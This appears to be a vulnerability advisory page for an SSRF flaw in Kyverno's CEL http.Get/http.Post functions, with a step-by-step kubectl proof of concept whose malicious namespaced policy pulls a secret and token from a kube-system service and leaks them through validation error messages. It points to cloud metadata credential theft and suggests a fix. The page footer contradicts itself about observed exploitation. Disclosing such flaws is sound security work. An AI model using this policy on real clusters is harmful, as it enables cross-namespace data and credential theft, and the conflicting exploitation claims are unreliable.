Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-rggm-jjmc-3394
No affected components available
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Kyverno's CEL HTTP library (pkg/cel/libs/http/) allows users with namespace-scoped policy creation permissions to make arbitrary HTTP requests from the Kyverno admission controller. This enables unauthorized access to internal services in other namespaces, cloud metadata endpoints (169.254.169.254), and data exfiltration via policy error messages.
Affected Versions
- Kyverno >= 1.16.0 (with
policies.kyverno.ioCRDs enabled, which is the default) - Tested on: Kyverno v1.16.2 (Helm chart 3.6.2)
Details
The http.Get() and http.Post() functions available in CEL-based policies (policies.kyverno.io API group) do not enforce any URL restrictions. Unlike resource.Lib which enforces namespace boundaries for namespaced policies, the http.Lib allows unrestricted access to any URL.
Vulnerable Code: pkg/cel/libs/http/http.go
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
req, err := http.NewRequestWithContext(context.TODO(), "GET", url, nil)
// NO URL VALIDATION - no blocklist, no namespace restrictions
...
}
Contrast with resource.Lib which enforces namespace:
// pkg/cel/libs/resource/lib.go
func Lib(namespace string, v *version.Version) cel.EnvOption {
return cel.Lib(&lib{namespace: namespace, version: v}) // Namespace enforced
}
This is a different code path from previously reported issues:
- GHSA-8p9x-46gm-qfx2:
pkg/engine/apicall/apiCall.go(URLPath) - Fixed - GHSA-459x-q9hg-4gpq:
pkg/engine/apicall/executor.go(Service.URL) - Different feature (apiCall vs CEL http) - This issue:
pkg/cel/libs/http/http.go(CEL http.Get/http.Post) - Not fixed
PoC
Tested on Kyverno v1.16.2 (Chart 3.6.2) on Kubernetes v1.35.0 (kind).
A complete automated PoC script is attached. Manual steps below:
1. Setup attacker with namespace-scoped permissions
kubectl create namespace attacker-ns
kubectl create serviceaccount namespace-admin -n attacker-ns
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: namespace-admin-role
namespace: attacker-ns
rules:
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["create", "get", "list"]
- apiGroups: ["policies.kyverno.io"]
resources: ["namespacedvalidatingpolicies"]
verbs: ["create", "get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: namespace-admin-binding
namespace: attacker-ns
subjects:
- kind: ServiceAccount
name: namespace-admin
namespace: attacker-ns
roleRef:
kind: Role
name: namespace-admin-role
apiGroup: rbac.authorization.k8s.io
EOF
2. Create sensitive internal service (simulating internal API or cloud metadata)
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: internal-api
namespace: kube-system
labels:
app: internal-api
spec:
containers:
- name: server
image: hashicorp/http-echo
args:
- "-text={\"secret\": \"STOLEN_INTERNAL_SECRET_12345\", \"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"}"
- "-listen=:8080"
---
apiVersion: v1
kind: Service
metadata:
name: internal-api
namespace: kube-system
spec:
selector:
app: internal-api
ports:
- port: 80
targetPort: 8080
EOF
3. Verify attacker cannot access kube-system directly
kubectl auth can-i get pods -n kube-system --as=system:serviceaccount:attacker-ns:namespace-admin
# Output: no
4. Create malicious NamespacedValidatingPolicy (as attacker)
cat <<EOF | kubectl apply --as=system:serviceaccount:attacker-ns:namespace-admin -f -
apiVersion: policies.kyverno.io/v1beta1
kind: NamespacedValidatingPolicy
metadata:
name: cel-ssrf-poc
namespace: attacker-ns
spec:
matchConstraints:
resourceRules:
- apiGroups: [""]
apiVersions: ["v1"]
operations: ["CREATE"]
resources: ["configmaps"]
variables:
- name: stolenData
expression: |
http.Get('http://internal-api.kube-system.svc.cluster.local')
validations:
- expression: "false"
message: "Validation failed"
messageExpression: |
'SSRF_LEAKED: secret=' + variables.stolenData['secret'] + ' token=' + variables.stolenData['token']
EOF
5. Trigger exploit and exfiltrate data
kubectl create configmap trigger --from-literal=x=y -n attacker-ns \
--as=system:serviceaccount:attacker-ns:namespace-admin
6. Result - Secret data exfiltrated
error: failed to create configmap: admission webhook "nvpol.validate.kyverno.svc-fail"
denied the request: Policy cel-ssrf-poc failed:
SSRF_LEAKED: secret=STOLEN_INTERNAL_SECRET_12345 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Impact
- Cross-namespace data access: Users with only namespace-scoped permissions can access services in any namespace
- Cloud credential theft: Access to
http://169.254.169.254/...allows stealing AWS/GCP/Azure IAM credentials - Data exfiltration: HTTP response data exposed via validation error messages or audit annotations
- Breaks namespace isolation: Inconsistent with Kyverno's security model where
resource.Libenforces namespace boundaries
Affected Policies
All CEL-based namespaced policies in policies.kyverno.io API group:
NamespacedValidatingPolicyNamespacedMutatingPolicyNamespacedDeletingPolicyNamespacedImageValidatingPolicy
Suggested Fix
Add namespace and URL restrictions to pkg/cel/libs/http/http.go, similar to how resource.Lib enforces namespace boundaries:
type lib struct {
namespace string // Add namespace parameter
version *version.Version
}
func (r *contextImpl) Get(url string, headers map[string]string) (any, error) {
if err := r.validateURL(url); err != nil {
return nil, fmt.Errorf("blocked URL: %w", err)
}
// ... existing code
}
func (r *contextImpl) validateURL(urlStr string) error {
// Block cloud metadata (169.254.0.0/16)
// Block localhost/loopback (127.0.0.0/8)
// For namespaced policies: restrict to same namespace services only
}
Attached kyverno-cel-ssrf-poc.sh
Credit
Discovered by: Igor Stepansky Organization: Orca Security Email: igor.stepansky@orca.security Personal Email: stepanskyigor@gmail.com
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard